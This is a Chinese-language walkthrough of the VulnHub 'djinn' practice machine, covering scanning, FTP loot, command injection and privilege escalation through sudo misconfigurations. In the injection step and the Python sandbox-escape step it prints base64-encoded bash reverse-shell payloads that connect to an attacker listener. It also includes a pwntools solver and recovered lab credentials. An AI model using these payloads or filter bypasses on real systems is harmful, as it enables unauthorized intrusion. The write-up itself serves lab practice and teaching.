vulnhub靶機-djinn

1、找到靶機ip:192.168.0.108

這步可以不做,靶機開機的時候有顯示

2、掃描靶機端口

nmap -p- -A 192.168.0.108
21
22:過濾狀態
1337
7331

3、ftp進行連接,一共三個文件

creds.txt


nitu:81299

暫時沒看出來有什麼用
game.txt

oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.

提示1337端口有個遊戲,找到最後一關可以得到獎品
message.txt

@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

暫時看不出有什麼信息,但是這個81299重複出現不知道有用沒

4、連接1337端口,這裏是不能直接瀏覽器訪問的,可以使用kali自帶的nc進行連接,連接之後提示需要回答1000次數學運算題目,然後他會給一個禮物,這裏可以先不動,先去7331端口看看

或者直接在這裏提權到root,想看可以跳到10、(2)

5、瀏覽器訪問7331端口,首頁沒有發現什麼有用的信息

gobuster dir -u http://192.168.0.108:7331 -w /usr/share/wordlists/dirb/big.txt

掃描一下目錄

訪問genie目錄,頁面顯示403,但是有一些隱藏的東西,ctrl+a或者查看源碼就能看到

訪問wish目錄,有一個輸入框,可以執行些什麼

嘗試輸入命令執行一下,看看能不能得到結果,提交之後跳轉到上面那個頁面,乍一看可能會覺得沒有成功,其實在url上面有結果了,並且在之前隱藏東西的地方也有顯示

於是嘗試使用命令反彈shell,這裏直接使用一句話是不能可以的,顯示Wrong choice of words,猜測是有過濾

將命令進行base64編碼之後進行繞過

echo "bash -i >& /dev/tcp/192.168.0.109/4444 0>&1" | base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo=

本地開啓監聽,提交payload,反彈成功

payload:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo="|base64 -d|bash

6、嘗試提權到低權限,在當前目錄下的app.py文件發現一個文件路徑,查看一下得到一個用戶名和密碼

nitish:p4ssw0rdStr3r0n9

這裏是不能ssh的,因爲之前掃描的狀態是filtered,先使用python提權,然後直接在這裏su nitish切換到nitish

家目錄下查看user.txt得到第一個flag

7、執行sudo -l命令,發現可以免密使用sam身份運行genie命令

8、試試genie命令,發現僅靠提示的一些參數是沒有效果的

9、使用man genie查看更多的參數,發現一個-cmd參數

加上這個參數嘗試執行命令,發現打開了一個新的終端,id查看到現在的身份已經是sam了

10、接下來就是需要提權到root權限了,有兩種辦法

(1)繼續在這裏執行sudo -l命令,發現可以使用root身份免密執行/root/lago,執行之後就看不出什麼東西了

在自己的家目錄下發現一個.pyc文件,內容有點像剛剛執行的程序,猜測是那個python文件編譯後的文件,下載到本地進行反編譯

在這裏啓動一個Python的簡單的web服務器

python -m SimpleHTTPServer
默認端口:8000

反編譯pyc文件得到python源碼,發現運行程序後輸入2,然後輸入num即可提權成功,運行root目錄下的proof.sh,滲透結束

uncompyle6 .pyc
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'


if __name__ == '__main__':
    main(options())

(2)從7331端口掃描結果可以看出是用的python寫的,猜測1337端口是一樣的,於是嘗試python沙箱逃逸

eval('__import__("os").system("whoami")') #查看是以什麼權限運行

eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzU1NTUgMD4mMQo=|base64 -d|bash")') #反彈shell

11、補充

訪問1337的時候,需要使用nc,看到連接之後的界面,心裏想這不會需要pwntools吧,之前跳過了,最後做完了在這裏處理一下吧,手動回答1000次是不可能的,於是寫個腳本,測試之後發現是1001次,滲透完成驗證發現寫的確實是1001次,腳本如下

from pwn import *

r = remote("192.168.0.108",1337)

for i in range(9):
	re = r.recvline()
	print re
for i in range(1001):
	print i
	re = r.recvline(keepends=False)
	print re
	num_list = re.split(',')
	num1 = int(num_list[0][1])
	yunsuanfu = num_list[1][-2]
	num2 = int(num_list[2][1])
	r.recv()
	if yunsuanfu == '-':
		result = num1-num2
		r.sendline(str(result))

	if yunsuanfu == '+':
		result = num1+num2
		r.sendline(str(result))

	if yunsuanfu == '/':
		result = num1/num2
		r.sendline(str(result))

	if yunsuanfu == '*':
		result = num1*num2
		r.sendline(str(result))

	print num1
	print yunsuanfu
	print num2
	print num_list
for i in range(3):
	print r.recvline()

部分源碼

得到了三個數字:1356,6784,3409,猜測是端口敲門服務,之前的22端口是filtered,應該就是用來敲開這個端口的

在靶機上驗證一下。查看靶機有沒有運行knockd,發現是active狀態,查看配置文件,也確實是這些序列號和順序,關聯的端口也是22號端口,但是我本地嘗試敲的時候沒有敲開

12、參考文章

https://lifesfun101.github.io/2019/12/07/Djinn-walkthrough.html#privilege-escalation-rooute-2

 

下一篇寫djinn2

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章